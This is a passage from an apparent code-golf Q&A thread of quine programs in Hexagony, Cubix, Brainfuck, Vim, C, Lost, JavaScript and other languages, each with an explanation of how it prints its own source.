online!](https://tio.run/##bcxNSsRAEAXgsxhGGnFM6r@qne7gEXSfjQvRlW719LEyGIXBBw3V1Ffv7eXz@fXj/WtdMUQd0UkApFYBdDNwUSYJAA9WoUBQCVdV5lAFYHFgAgZiwoSGis4gCNWjqknyyLXUUHYMk3xIlVggCOrWAMrBwu4UTObu6lxNzY2rK4krikXeBdVAs/wxVctrq6yhMQzzOLXD6a6NW@bjuKf337ENP0Pqcma3ZRnnf@guE97PN@3Qs/bPnXPYVZqlPMmpD9PDhdl7kjz2ct0uOrbtVWnj0u1YpnldvwE \"Hexagony – Try It Online\")\nUnfolded:\n```\n 1 8 4 5 7 1 1 7 2 4 0 0\n 4 9 9 4 0 1 7 6 6 0 7 4 5\n 3 2 4 8 0 0 7 8 3 5 4 2 8 1\n 0 5 4 8 7 5 5 5 3 3 8 5 5 0 0\n 3 4 7 0 3 2 0 3 0 2 3 2 1 2 4 8\n 6 1 5 1 7 3 0 4 1 0 9 7 8 9 5 6 4\n 5 4 8 8 0 3 0 4 9 8 5 3 7 1 8 6 4 1\n 8 6 1 2 9 2 3 4 0 8 2 0 9 0 0 3 4 0 5\n 3 8 3 4 3 7 7 2 8 3 2 6 7 7 7 5 7 3 9 6\n 5 6 7 6 3 9 7 5 2 4 7 5 1 4 6 8 1 8 6 8 2\n 9 8 1 6 6 1 4 6 3 2 9 6 2 0 9 6 9 3 5 8 5 8\n \" \" > . / < $ ; - < . . . . . > , . . . . . .\n . . . = = . . . . . . . . . < \" . . . . . .\n . \" \" > ' . . . . > + ' \\ . > . . . . . .\n . . . = = . . . . . . . . < \" . . . . .\n . \" \" > : > ) < $ = < . . > . . . . .\n . . . . . . . . . $ . . < \" . . . .\n \" \" > \\ ' Q 4 ; = \" / @ > . . . .\n . . . . . . . . . . . < \" . . .\n . . \" \" > P = ' % < . > . . .\n . . . . . . . . . . < \" . .\n ! ' < . \\ = 6 , ' / > . .\n . . . . . . . . . . . .\n```\nWhile it doesn't look like the most golfed of Hexagony code, the type of encoding I used is optimised for longer runs of no-ops, which is something you would otherwise avoid.\n### Explanation\nThis beats the [previous Hexagony answer](https://codegolf.stackexchange.com/a/74294/76162) by encoding the no-ops (`.`) in a different way. While that answer saves space by making every other character a `.`, mine encodes the *number* of no-ops. It also means the source doesn't have to be so restricted.\nHere I use a base 80 encoding, where numbers below 16 indicate runs of no-ops, and numbers between 16 and 79 represent the range 32 (`!`) to 95 (`_`) (I'm just now realising I golfed all the `_`s out of my code lol). Some Pythonic pseudocode:\n```\ni = absurdly long number\nprint(i)\nbase = 80\nn = i%base\nwhile n:\n if n < 16:\n print(\".\"*(16-n))\n else:\n print(ASCII(n+16))\n i = i//base\n n = i%base\n```\nThe number is encoded in the first half of the hexagon, with all the\n```\n\" \" > \n \" \" > \n ... etc\n```\non the left side and the\n```\n > ,\n< \"\n >\n< \"\n... etc\n```\non the right side redirecting the pointer to encode the number into one cell. This is taken from [Martin Ender's answer](https://codegolf.stackexchange.com/a/74294/76162) (thanks), because I couldn't figure out a more efficient way.\nIt then enters the bottom section through the `->`:\n```\n \" \" > \\ ' Q 4 ; = \" / @ > . . . .\n . . . . . . . . . . . < \" . . .\n . . \" \" > P = ' % < . > . . .\n . . . . . . . . . . < \" . .\n -> ! ' < . \\ = 6 , ' / > . .\n```\n`!` prints the number and `'` navigates to the right memory cell before starting the loop. `P='%` mods the current number by 80. If the result is 0, go up to the terminating `@`, else go down and create a cell next to the mod result with the value `-16`.\n```\n . \" \" > ' . . . . > + ' \\ . > . . . . . .\n . . . = = . . . . . . . . < \" . . . . .\n . \" \" > : > ) < $ = < . . > . . . . .\n . . . . . . . . . $ . . < \" . . . .\n \" \" > \\ ' Q 4 ; = \" / @ > . . . .\n /\n /\n```\nSet the cell to (mod value + -16). If that value is negative, go up at the branching `>+'\\`, otherwise go down.\nIf the value is positive:\n```\n \" \" > . / < $ ; - < . . . . . > , . . . . . .\n . . . = = . . . . . . . . . < \" . . . . . .\n . \" \" > ' . . . . > + ' \\ . > . . . . . .\n```\nThe pointer ends up at the `;-<` which sets the cell to (mod value - -16) and print it.\nThe the value is negative:\n```\n . \" \" > ' . . . . > + ' \\ . > . . . . . .\n . . . = = . . . . . . . . < \" . . . . .\n . \" \" > : > ) < $ = < . . > . . . . .\n```\nGo down to the `> ) <` section which starts the loop. Here it is isolated:\n```\n . . > ) < $ = < . .\n . . . . . . . . .\n \\ ' Q 4 ; = \" /\n```\nWhich executes the code `'Q4;=\"=` which prints a `.` (thanks again to Martin Ender, who wrote a [program](http://cjam.aditsu.net/#code=q%3AC%3B%27%5B%2C_el%5EA%2Cm*%7B_Ab256%25c%5C%2B%7D%25%7B0%3DC%26%7D%2C1f%3EN*&input=.) to find the letter-number combinations for characters) and moves back to the starting cell. It then increments (`)`) the mod value cell and loops again, until the mod value is positive.\nWhen that is done, it moves up and joins with the other section at:\n```\n \" \" > . / < $ ; - < . . .\n \\\n \\\n```\nThe pointer then travels back to the start of the larger loop again\n```\n \" \" > . / <--\n . . . = =\n . \" \" > ' \n . . . = = \n . \" \" > :\n . . . . .\n \" \" > \\ ' . .\n . . . . . . .\n . . \" \" > P = ' % < . > . . .\n```\nThis executes `='=:'` which divides the current number by 80 and navigates to the correct cell.\n### Old version (Side length 13)\n```\n343492224739614249922260393321622160373961419962223434213460086222642247615159528192623434203460066247203920342162343419346017616112622045226041621962343418346002622192616220391962343417346001406218603959366061583947623434\"\">/':=<$;'<.....>(......................<\"......\"\">....'...>=\\..>.....................<\".....\"\">....>)<.-...>...........==......<\"....\"\">..\"...'.../>.................<\"...\"\">\\Q4;3=/.@.>...............<\"..\"\".>c)='%<..>..!'<.\\1*='/.\\\"\"\n```\n[Try it online!](https://tio.run/##fY/NSgUxDIWfxaKMV7DT/DS38bbFV3A/GxHRlW716cekM4jixUJ/wvnOSfr6/PH48v72ua7ExIqIfCQVYGT1ShIpEYKg7USbBqpWozsQiCWl4rWwuwUyZM1YQFE2Jg1GxFR7q9ee6Bqoa2AuATAeE2fvyqaD7kwZflc902exlG/1OFTgZI7i82YlkWRzFFKbZ1Ah9Hm6a/XyNNXoq1/Hs6uG7TaDX5OjbbHjP3qH@6HG2/ibbe0nOcCw5879fJ5BywOfqM3x/k9fJ0KI/enQpqs6el3Ylxa4adMclxDW9Qs)\n~~I can most definitely golf another side length off this, but I'll have to leave it til' tomorrow because it's getting late.~~ Turns out I'm impatient and can't wait until tomorrow. ~~Maybe another side can be golfed?~~ ~~:(~~ *ahhhhhhhhh* i did it!\nI even golfed off a [couple of extra digits](https://tio.run/##fZPLTsMwEEX3@YoBFUUIMH7FcWhr8QMs2GfTBYIVbOHrw52x86S0o4ztyfHN9ST9ePs@vX99/gwDLX4tBfJkKCJbcpjxqq0WSAeoQbYYc@ZVoLiAAmpWqg0i4vKICEE9Ux7lFtnhCqQF1zJqChNmWBpiBtHgjhE5hwqHqyZXTopaJFtgTrZ68YfDFFBjO1e1uNbyaGa0PMbw/kw68efLITLgC@ow56N3gjZYtaVXnWSuWLEThDRsilkrXbHiIjc5Yh1xO8rRcj@zsBbRWI6bpceus7Sao0KqEYke6UA72tMDxhlIdL/Gy@yIUH/iAKU1Xab14kaiO6x6mW3gC@Ir6dzn0fkTrltxfyze0xY943W3lR2/hyzaI7@id3uIXqM5z7Po9IGpszFJzt@rmry@QK6mG/GZttglueX/6AolFughFvCCavhLW@gfd2oYfgE) with a base 77 encoding, but it doesn't really matter, since it has the same bytecount.\n[Answer]\n# [Cubix](https://github.com/ETHproductions/cubix), 20 bytes\n```\n3434Qu$v@!<\"OOw\\o;/\"\n```\n*Almost got the* `\\o/`...\n**Net**:\n```\n 3 4\n 3 4\nQ u $ v @ ! < \"\nO O w \\ o ; / \"\n . .\n . .\n```\n# Try it online\nTry it [here](https://ethproductions.github.io/cubix/?code=MzQzNFF1JC9AITwiT093XG87LyI=)!\n# Additional notes\n## Background story\nAfter being impressed by reading [this great answer](https://codegolf.stackexchange.com/a/103532/63774) by @ais523, I started thinking about further golfing the quine. After all, there were quite a few no-ops in there, and that didn't feel very compressed. However, as the technique his answer (and mine as well) uses, requires the code to span full lines, a saving of at least 12 bytes was needed. There was one remark in his explanation that really got me thinking:\n> \n> On the subject of golfing down this quine further, [...] it'd need [...] some other way to represent the top face of the cube [...]\n> \n> \n> \nThen, suddenly, as I stood up and walked away to get something to drink, it struck me: What if the program didn't use character codes, but rather numbers to represent the top face? This is especially short if the number we're printing has 2 digits. Cubix has 3 one-byte instructions for pushing double-digit numbers: `N`, `S` and `Q`, which push `10`, `32` and `34` respectively, so this should be pretty golfy, I thought.\nThe first complication with this idea is that the top face is now filled with useless numbers, so we can't use that anymore. The second complication is that the top face has a size which is the cube size squared, and it needed to have an even size, otherwise one number would also end up on the starting position of the instruction pointer, leading to a polluted stack. Because of these complications, my code needed to fit on a cube of size 2 (which can contain 'only' 24 bytes, so I had to golf off at least 21 bytes). Also, because the top and bottom faces are unusable, I only had 16 effective bytes.\nSo I started by choosing the number that would become half of the top face. I started out with `N` (10), but that didn't quite work out because of the approach I was taking to print everything. Either way, I started anew and used `S` (32) for some reason. That did result in a proper quine, or so I thought. It all worked very well, but the quotes were missing. Then, it occured to me that the `Q` (34) would be really useful. After all, 34 is the character code of the double quote, which enables us to keep it on the stack, saving (2, in the layout I used then) precious bytes. After I changed the IP route a bit, all that was left was an excercise to fill in the blanks.\n## How it works\nThe code can be split up into 5 parts. I'll go over them one by one. Note that we are encoding the middle faces in reverse order because the stack model is first-in-last-out.\n### Step 1: Printing the top face\nThe irrelevant instructions have been replaced by no-ops (`.`). The IP starts the the third line, on the very left, pointing east. The stack is (obviously) empty.\n```\n . .\n . .\nQ u . . . . . .\nO O . . . . . .\n . .\n . .\n```\nThe IP ends at the leftmost position on the fourth line, pointing west, about to wrap around to the rightmost position on that same line. The instructions executed are (without the control flow character):\n```\nQOO\nQ # Push 34 (double quotes) to the stack\n OO # Output twice as number (the top face)\n```\nThe stack contains just 34, representlng the last character of the source.\n### Step 2: Encode the fourth line\nThis bit pretty much does what you expect it to do: encode the fourth line. The IP starts on the double quote at the end of that line, and goes west while pushing the character codes of every character it lands on until it finds a matching double quote. This matching double quote is also the last character on the fourth line, because the IP wraps again when it reaches the left edge. \nEffectively, the IP has moved one position to the left, and the stack now contains the representation of the fourth line in character codes and reverse order.\n### Step 3: Push another quote\nWe need to push another quote, and what better way than to recycle the `Q` at the start of the program by approaching it from the right? This has the added bonus that the IP directly runs into the quote that encodes the third line.\nHere's the net version for this step. Irrelevant intructions have been replaced by no-ops again, the no-ops that are executed have been replaced by hashtags (`#`) for illustration purposes and the IP starts at the last character on the fourth line.\n```\n . .\n . .\nQ u $ . . . . .\n. . w \\ . . / .\n . #\n . #\n```\nThe IP ends on the third line at the first instruction, about to wrap to the end of that line because it's pointing west. The following instructions (excluding control flow) are excecuted:\n```\n$uQ\n$u # Don't do anthing\n Q # Push the double quote\n```\nThis double quote represents the one at the end of the third line.\n### Step 4: Encoding the third line\nThis works exactly the same as step 2, so please look there for an explanation.\n### Step 5: Print the stack\nThe stack now contains the fourth and third lines, in reverse order, so all we need to do now, it print it. The IP starts at the penultimate instruction on the third line, moving west. Here's the relevant part of the cube (again, irrelevant parts have been replaced by no-ops).\n```\n . .\n . .\n. . . v @ ! < .\n. . . \\ o ; / .\n . .\n . .\n```\nThis is a loop, as you might have seen/expected. The main body is:\n```\no;\no # Print top of stack as character\n ; # Delete top of stack\n```\nThe loop ends if the top item is 0, which only happens when the stack is empty. If the loop ends, the `@` is executed, ending the program.\n[Answer]\n## Brainf\\*ck (755 characters)\nThis is based off of a technique developed by Erik Bosman (ejbosman at cs.vu.nl). Note that the \"ESultanik's Quine!\" text is actually necessary for it to be a quine!\n```\n->++>+++>+>+>++>>+>+>+++>>+>+>++>+++>+++>+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>+>++>>>+++>>>>>+++>+>>>>>>>>>>>>>>>>>>>>>>+++>>>>>>>++>+++>+++>+>>+++>>>+++>+>+++>+>++>+++>>>+>+>+>+>++>+++>+>+>>+++>>>>>>>+>+>>>+>+>++>+++>+++>+>>+++>+++>+>+++>+>++>+++>++>>+>+>++>+++>+>+>>+++>>>+++>+>>>++>+++>+++>+>>+++>>>+++>+>+++>+>>+++>>+++>>>+++++++++++++++>+++++++++++++>++++++>+++++++++++++++>++++++++++>+++>+++>++++>++++++++++++++>+++>++++++++++>++++>++++++>++>+++++>+++++++++++++++>++++++++>++++>++++++++++++>+++++++++++++++>>++++>++++++++++++++>+++>+++>++++>++++++>+++>+++++++++>++++>+>++++>++++++++++>++++>++++++++>++>++++++++++>+>+++++++++++++++>+++++++++++++\nESultanik's Quine!\n+[[>>+[>]+>+[<]<-]>>[>]<+<+++[<]<<+]>>+[>]+++[++++++++++>++[-<++++++++++++++++>]<.<-<]\n```\n[Answer]\n# Vim, ~~17~~, 14 keystrokes\nSomeone randomly upvoted this, so I remembered that it exists. When I re-read it, I thought \"Hey, I can do better than that!\", so I golfed two bytes off. It's still not the shortest, but at least it's an improvement.\n---\nFor a long time, I've been wondering if a vim quine is possible. On one hand, it must be possible, since vim is turing complete. But after looking for a vim quine for a really long time, I was unable to find one. I *did* find [this PPCG challenge](https://codegolf.stackexchange.com/questions/2985/compose-a-vim-quine), but it's closed and not exactly about literal quines. So I decided to make one, since I couldn't find one.\nI'm really proud of this answer, because of two *firsts*:\n1. This is the first quine I have ever made, and\n2. As far as I know, this is the worlds first *vim-quine* to ever be published! I could be wrong about this, so if you know of one, please let me know.\nSo, after that long introduction, here it is:\n```\nqqX\"qpAq@qq@q\n```\n[Try it online!](https://tio.run/nexus/v#@19YGKFUWOBY6FAoDcT//wMA \"V – TIO Nexus\")\nNote that when you type this out, it will display the `` keystroke as `^[`. This is still accurate, since `^[` represents `0x1B`, which is escape [in ASCII](http://www.asciitable.com/), and the way vim internally represents the `` key.\n*Also* note, that testing this might fail if you load an existing vim session. I wrote a [tips](/questions/tagged/tips \"show questions tagged 'tips'\") answer explaining that [here](https://codegolf.stackexchange.com/a/74663/31716), if you want more information, but basically you need to launch vim with\n```\nvim -u NONE -N -i NONE\n```\n*or* type `qqq` before running this.\nExplanation:\n```\nqq \" Start recording into register 'q'\n X \" Delete one character before the cursor (Once we play this back, it will delete the '@')\n \"qp \" Paste register 'q'\n Aq@q \" Append 'q@q' to this line\n q \" Stop recording\n @q \" Playback register 'q'\n```\nOn a side note, this answer is probably a world record for most 'q's in a PPCG answer, or something.\n[Answer]\n# PostScript, 20 chars\nShort and legit. 20 chars including trailing newline.\n```\n(dup == =)\ndup == =\n```\n[Answer]\n# [Cubix](https://github.com/ETHproductions/cubix), 45 bytes\n```\n.....>...R$R....W..^\".>o;?/o'u\"\n```\nYou can test this code [here](https://ethproductions.github.io/cubix/?code=Li4uLi4+Li4uUiRSLi4uLlcuLl4iLjxSLiEnLlwpISciUkA+Pm87Py9vJ3Ui&input=&speed=20).\nThis program is fairly hard to follow, but to have any chance to do so, we need to start by expanding it into a cube, like the Cubix interpreter does:\n```\n . . .\n . . >\n . . .\nR $ R . . . . W . . ^ \"\n. < R . ! ' . \\ ) ! ' \"\nR @ > > o ; ? / o ' u \"\n . . .\n . . .\n . . .\n```\nThis is a Befunge-style quine, which works via exploiting wrapping to make string literals \"wrap around\" executable code (with only one `\"` mark, the code is both inside and outside the quote at the same time, something that becomes possible when you have programs that are nonlinear and nonplanar). Note that this fits our definition of a proper quine, because two of the double quotes don't encode themselves, but rather are calculated later via use of arithmetic.\nUnlike Befunge, though, we're using four strings here, rather than one. Here's how they get pushed onto the stack;\n1. The program starts at the top of the left edge, going rightwards; it turns right twice (`R`), making it go leftwards along the third and last of the lines that wrap around the whole cube. The double quote matches itself, so we push the entire third line onto the stack backwards. Then execution continues after the double quote.\n2. The `u` command does a U-turn to the right, so the next thing we're running is from `'\"` onwards on the middle line. That pushes a `\"` onto the stack. Continuing to wrap around, we hit the `<` near the left hand side of the cube and bounce back. When approaching from this direction, we see a plain `\"` command, not `'\"`, so the entire second line is pushed onto the stack backwards above the third line and the double quote.\n3. We start by pushing a `!` onto the stack (`'!`) and incrementing it (`)`); this produces a double quote without needing a double quote in our source code (which would terminate the string). A mirror (`\\`) reflects the execution direction up northwards; then the `W` command sidesteps to the left. This leaves us going upwards on the seventh column, which because this is a cube, wraps to leftwards on the third row, then downwards on the third column. We hit an `R`, to turn right and go leftwards along the top row; then the `$` skips the `R` via which we entered the program, so execution wraps round to the `\"` at the end of the line, and we capture the first line in a string the same way that we did for the second and third.\n4. The `^` command sends us northwards up the eleventh column, which is (allowing for cube wrapping) southwards on the fifth. The only thing we encounter there is `!` (skip if nonzero; the top of the stack is indeed nonzero), which skips over the `o` command, effectively making the fifth column entirely empty. So we wrap back to the `u` command, which once again U-turns, but this time we're left on the final column southwards, which wraps to the fourth column northwards. We hit a double quote during the U-turn, though, so we capture the entire fourth column in a string, from bottom to top. Unlike most double quotes in the program, this one doesn't close itself; rather, it's closed by the `\"` in the top-right corner, meaning that we capture the nine-character string `...>.....`.\nSo the stack layout is now, from top to bottom: fourth column; top row; `\"`; middle row; `\"`; bottom row. Each of these are represented on the stack with the first character nearest the top of the stack (Cubix pushes strings in the reverse of this order, like Befunge does, but each time the IP was moving in the opposite direction to the natural reading direction, so it effectively got reversed twice). It can be noted that the stack contents are almost identical to the original program (because the fourth column, and the north/top face of the cube, contain the same characters in the same order; obviously, it was designed like that intentionally).\nThe next step is to print the contents of the stack. After all the pushes, the IP is going northwards on the fourth column, so it hits the `>` there and enters a tight loop `>>o;?` (i.e. \"turn east, turn east, output as character, pop, turn right if positive\"). Because the seventh line is full of NOPs, the `?` is going to wrap back to the first `>`, so this effectively pushes the entire contents of the stack (`?` is a no-op on an empty stack). We almost printed the entire program! Unfortunately, it's not quite done yet; we're missing the double-quote at the end.\nOnce the loop ends, we reflect onto the central line, moving west, via a pair of mirrors. (We used the \"other side\" of the `\\` mirror earlier; now we're using the southwest side. The `/` mirror hasn't been used before.) We encounter `'!`, so we push an exclamation mark (i.e. 33; we're using ASCII and Cubix doesn't distinguish between integers and characters) onto the stack. (Conveniently, this is the same `!` which was used to skip over the `o` command earlier.) We encounter a pair of `R` commands and use them to make a \"manual\" U-turn (the second `R` command here was used earlier in order to reach the first row, so it seemed most natural to fit another `R` command alongside it.) The execution continues along a series of NOPs until it reaches the `W` command, to sidestep to the left. The sidestep crashes right into the `>` command on the second line, bouncing execution back exactly where it was. So we sidestep to the left again, but this time we're going southwards, so the next command to execute is the `)` (incrementing the exclamation mark into a double quote), followed by an `o` (to output it). Finally, execution wraps along the eighth line to the second column, where it finds a `@` to exit the program.\nI apologise for the stray apostrophe on the third line. It doesn't do anything in this version of the program; it was part of an earlier idea I had but which turned out not to be necessary. However, once I'd got a working quine, I just wanted to submit it rather than mess around with it further, especially as removing it wouldn't change the byte count. On the subject of golfing down this quine further, it wouldn't surprise me if this were possible at 3×3 by only using the first five lines, but I can't see an obvious way to do that, and it'd need even tighter packing of all the control flow together with some other way to represent the top face of the cube (or else modifying the algorithm so that it can continue to use the fourth column even though it'd now be ten or eleven characters long).\n[Answer]\n# Python 2, 30 bytes\n```\n_='_=%r;print _%%_';print _%_\n```\n[Taken from here](https://web.archive.org/web/20130701215340/http://en.literateprograms.org/Quine_(Python))\n[Answer]\n# [Hexagony](https://github.com/m-ender/hexagony), 261 bytes, side length 10\n```\n113009344778658560261693601386118648881408495353228771273368412312382314076924170567897137624629445942109467..../....%'=g':..\\..................\\.................\\................\\...............\\..............\\.............\\............\\!$/'?))='%<\\..>:;/$;4Q/\n```\n[Try it online!](https://tio.run/##hYk7DsIwEETPgpTISmPvz7vrhMAZ6N1QoFBBC6c3pkbAaPSkN3O9PM7b/fZsDZEBCouYuWbPCqSohRWQXRFdxd1RwKVkzkzkZkjGrC5I3OudAqaFBA2ymhdDNiVRKiK5CCEUUYs96Y0xrFuYY6zxI/X/Un97/W51N6RwnKY1jPt@HOYlDYucUmsv \"Hexagony – Try It Online\")\nUses the same encoding [user202729's answer](https://codegolf.stackexchange.com/a/156271/76162), but terminates in a divide by zero error.\nFormatted, this looks like:\n```\n 1 1 3 0 0 9 3 4 4 7\n 7 8 6 5 8 5 6 0 2 6 1\n 6 9 3 6 0 1 3 8 6 1 1 8\n 6 4 8 8 8 1 4 0 8 4 9 5 3\n 5 3 2 2 8 7 7 1 2 7 3 3 6 8\n 4 1 2 3 1 2 3 8 2 3 1 4 0 7 6\n 9 2 4 1 7 0 5 6 7 8 9 7 1 3 7 6\n 2 4 6 2 9 4 4 5 9 4 2 1 0 9 4 6 7\n . . . . / . . . . % ' = g ' : . . \\\n . . . . . . . . . . . . . . . . . . \\\n . . . . . . . . . . . . . . . . . \\\n . . . . . . . . . . . . . . . . \\ \n . . . . . . . . . . . . . . . \\ \n . . . . . . . . . . . . . . \\ \n . . . . . . . . . . . . . \\\n . . . . . . . . . . . . \\\n ! $ / ' ? ) ) = ' % < \\\n . . > : ; / $ ; 4 Q /\n . . . . . . . . . .\n```\n[Try it online!](https://tio.run/##hZC9DsIwDIT3PsUhtapY6F@atEDhGdi7MKAywQpPH84mBAbU9iTbtb@cnFwvj/N0vz29R/wqqkFJ9cyGckkcOnSwaBlb5hI1YxXHVo9IXyyEFLMuiWPDpqhiVTIbHmjRBIAVDWv2HVWxcuyIYbAw2mxC7EItVg5WkZ49oRx7sqHs26tZ82EEsIy93q3VXBMotbJ6201QEasMOQZMjFv9H5M4mtP4YzZPLUOAXnGRemOLVMCW1ppDIoAVUj5WjiPW1MAqw/5nrviBb7cjljIanFB8x//svX8B \"Hexagony – Try It Online\")\nSome python-like psuedo-code to explain:\n```\nn = ridiculously long number\nbase = 103\nprint(n)\nwhile n > 0:\n b = 2\n if n%b == 1:\n c = '.'\n print(c)\n else:\n n = n//b\n b = base\n c = chr(n%b + 1)\n print(c)\n n = n//b\n```\nI'm using base 103 rather than the optimal base 97 just to make sure the number fully fits the top half of the hexagon and doesn't leave an extra `.` to encode.\nHere's a [link](https://tio.run/##jZJPU4MwEMXv@RRPploilv7RE5Z60ItHp0frIUIgGSl0Qsb22@MmYMdTMZmE7L5fdl52UKL9klXVdXp/aIzFi7AiflbCMCbrrMklkgRba3RdYrbBa21lKc2v1lqkKDBBoSsrDcK6sbFutweRSU4qw1FJIxkxQYB@pFi4OJzG08Qty30Ni9sVoqWXMgX4PAN0gcU6zXWpLW5u4A/rT9FSUVgla4T@LlwKUa9zileky4py0piGnAXuUSJzLgNEEd4z9eG@AXQLso1vUek84HTNe@4rkTXbDI9G2JgcmeKYoSmKVlrG9kLXxGgiXHHqRKuaYxzuTrNNeLpDJevSqiGNE@dx3znGvN8Uy8U964u5oOuAeJjz8@kaUxJL2hMf79hZujQJ@yc1DgEOG6d6bJQasDFbl5AzgCtq75ya8wQO9y9NqWHrP7rHN9S7R8ImtD/gDfMf) to user202729's encoder that I used to get the large number and check that the number actually fit in the hexagon.\n[Answer]\n# C, ~~64~~ 60 bytes\n```\nmain(s){printf(s=\"main(s){printf(s=%c%s%1$c,34,s);}\",34,s);}\n```\nThis may segfault on 64-bit systems with some compilers, such as newest Clang, due to the type of `s` being interpreted as 32-bit `int` instead of a pointer.\nSo far, this is the shortest known C quine. There's an [extended bounty](https://codegolf.meta.stackexchange.com/a/12581/61563) if you find a shorter one.\nThis works in [GCC](https://tio.run/##S9ZNT07@/z83MTNPo1izuqAoM68kTaPYVglDRDVZtVjVUCVZx9hEp1jTulYJxvj/HwA), [Clang](https://tio.run/##S9ZNzknMS///PzcxM0@jWLO6oCgzryRNo9hWCUNENVm1WNVQJVnH2ESnWNO6VgnG@P8fAA), and [TCC](https://tio.run/##S9YtSU7@/z83MTNPo1izuqAoM68kTaPYVglDRDVZtVjVUCVZx9hEp1jTulYJxvj/HwA) in a [POSIX](https://en.wikipedia.org/wiki/POSIX) environment. It invokes an excessive amount of undefined behavior with all of them.\nJust for fun, here's a [repo](https://github.com/aaronryank/quines/tree/master/c) that contains all the C quines I know of. Feel free to fork/PR if you find or write a different one that adds something new and creative over the existing ones.\nNote that it only works in an [ASCII](https://en.wikipedia.org/wiki/ASCII) environment. [This](https://pastebin.com/raw/MESjTMQt) works for [EBCDIC](https://en.wikipedia.org/wiki/EBCDIC), but still requires [POSIX](https://en.wikipedia.org/wiki/POSIX). Good luck finding a POSIX/EBCDIC environment anyway :P\n---\nHow it works:\n1. `main(s)` abuses `main`'s arguments, declaring a virtually untyped variable `s`. (Note that `s` is not actually untyped, but since listed compilers auto-cast it as necessary, it might as well be\\*.)\n2. `printf(s=\"...\"` sets `s` to the provided string and passes the first argument to `printf`.\n3. `s` is set to `main(s){printf(s=%c%s%1$c,34,s);}`.\n4. The `%c` is set to ASCII `34`, `\"`. This makes the quine possible. Now `s` looks like this: \n`main(s){printf(s=\"%s%1$c,34,s);}`.\n5. The `%s` is set to `s` itself, which is possible due to #2. Now `s` looks like this: \n`main(s){printf(s=\"main(s){printf(s=%c%s%1$c,34,s);}%1$c,34,s);}`.\n6. The `%1$c` is set to ASCII 34 `\"`, `printf`'s first\\*\\* argument. Now `s` looks like this: \n`main(s){printf(s=\"main(s){printf(s=%c%s%1$c,34,s);}\",34,s);}` \n... which just so happens to be the original source code.\n\\* [Example](https://tio.run/##S9ZNT07@/185My85pzQlVcGmuCQlM18vw46LKzOvRCE3MTNPoyw/M0WTq5pLAQhAghkKtgpKHqk5Ofk6CuH5RTkpikrWYMmC0pJijQxNa67a//8B) thanks to @Pavel \n\\*\\* first argument after the format specifier - in this case, `s`. It's impossible to reference the format specifier.\n---\nI think it's impossible that this will get any shorter with the same approach. If `printf`'s format specifier was accessible via `$`, this would work for 52 bytes:\n```\nmain(){printf(\"main(){printf(%c%0$s%1$c,34);}\",34);}\n```\n---\nAlso here's a longer 64-byte version that will work on all combinations of compilers and ASCII environments that support the POSIX printf `$` extension:\n```\n*s;main(){printf(s=\"*s;main(){printf(s=%c%s%1$c,34,s);}\",34,s);}\n```\n[Answer]\n# [Lost](https://github.com/Wheatwizard/Lost), ~~120 116 98 96 76 70~~ 66 bytes\nEdit: yay, under 100\nEdit: Saved a bunch o' bytes by switching to all `/`s on the bottom line\n```\n:2+52*95*2+>::1?:[:[[[[@^%?>([ \"\n////////////////////////////////\n```\n[Try it online!](https://tio.run/##y8kvLvn/38pI29RIy9JUy0jbzsrK0N4q2ioaCBziVO3tNKIVlLj0CQCu////6zoCAA) + [verification it's deterministic for all possible states](https://tio.run/##y8kvLvn/38pI29RIy9JUy0jbzsrK0N4q2ioaCBziVO3tNKIVlLj0CQCu////6zoGAgA)\nLost is a 2D language in which the starting position and direction are completely random. This means there has to be a lot of error-checking at every stage to make sure you've got the correct instruction pointer, and it isn't one that has just wandered in randomly.\n### Explanation:\nAll the `/`s on the bottom line are there to make sure that all the pointers that spawn in a vertical direction or on the bottom line get funneled in the right direction. From there, they end up at several different places, but all of them end up going right into the\n```\n ^%?>\n ////\n```\nWhich clears out all the non-zero numbers in the stack. The `([` after that clears out any extra 0s as well.\nIn the middle of the clear, it hits the `%`, which turns the 'safety' off, which allows the program to end when it hits the `@` (without this, the program could end immediately if a pointer started at the `@`).\nFrom there it does a pretty simple 2D language quine, by wrapping a string literal (`\"`) around the first line, pushing a `\"` character by duping a space (`:2+`) and then a newline (`52*`). For the second line, it creates a `/` character (`95*2+`) and duplicates it a bunch (`>::1?:[:[[[[`), before finally ending at the `@` and printing the stack implicitly. The `?1` is to stop the process from creating too many 0s if the pointer enters early, saving on having to clear them later.\nI saved 20 bytes here by making the last line all the same character, meaning I could go straight from the duping process into the ending `@`.\n### Explanation about the duping process:\n`[` is a character known as a 'Door'. If the pointer hits the flat side of a `[` or a `]` , it reflects, else it passes through it. Each time the pointer interacts with a Door, it switches to the opposite type. Using this knowledge we can construct a simple formula for how many times an instruction will execute in a `>:[` block.\nAdd the initial amount of instructions. For each `[`, add 2 times the amount of instructions to the left of it. For the example `>::::[:[[[`, we start with 5 as the initial amount. The first Door has 4 dupe instructions, so we add 4\\*2=8 to 5 to get 13. The other three Doors have 5 dupes to their left, so we add 3\\*(5\\*2)=30 to 13 to get 43 dupe instructions executed, and have 44 `>`s on the stack. The same process can be applied to other instructions, such as `(` to push a large amount of items from the stack to the scope, or as used here, to clear items from the stack.\nA trick I've used here to avoid duping too many 0s is the `1?`. If the character is 0, the `?` doesn't skip the 1, which means it duplicates 1 for the remainder of the dupe. This makes it *much* easier to clear the stack later on.\n[Answer]\n# [Chicken](http://esolangs.org/wiki/Chicken), 7\n```\nchicken\n```\nNo, this is not directly echoed :)\n[Answer]\n## Cross-browser JavaScript (41 characters)\nIt works in the top 5 web browsers (IE >= 8, Mozilla Firefox, Google Chrome, Safari, Opera). Enter it into the developer's console in any one of those:\n```\neval(I=\"'eval(I='+JSON.stringify(I)+')'\")\n```\nIt's not \"cheating\" — unlike Chris Jester-Young's single-byte quine, as it could easily be modified to use the `alert()` function (costing 14 characters):\n```\nalert(eval(I=\"'alert(eval(I='+JSON.stringify(I)+'))'\"))\n```\nOr converted to a bookmarklet (costing 22 characters):\n```\njavascript:eval(I=\"'javascript:eval(I='+JSON.stringify(I)+')'\")\n```\n[Answer]\n# [Fission](http://esolangs.org/wiki/Fission), 6 bytes\nIt appears this is now the shortest \"proper\" quine among these answers. \n```\n'!+OR\"\n```\n## Explanation\nControl flow starts at `R` with a single right-going `(1,0)` atom. It hits `\"` toggling print mode and then wraps around the line, printing `'!+OR` before hitting the same `\"` again and exiting print mode.\nThat leaves the `\"` itself to be printed. The shortest way is `'\"O` (where `'\"` sets the atom's mass to the character code of `\"` and `O` prints the character and destroys the atom), but if we did this the `\"` would interfere with print mode. So instead we set the atom's 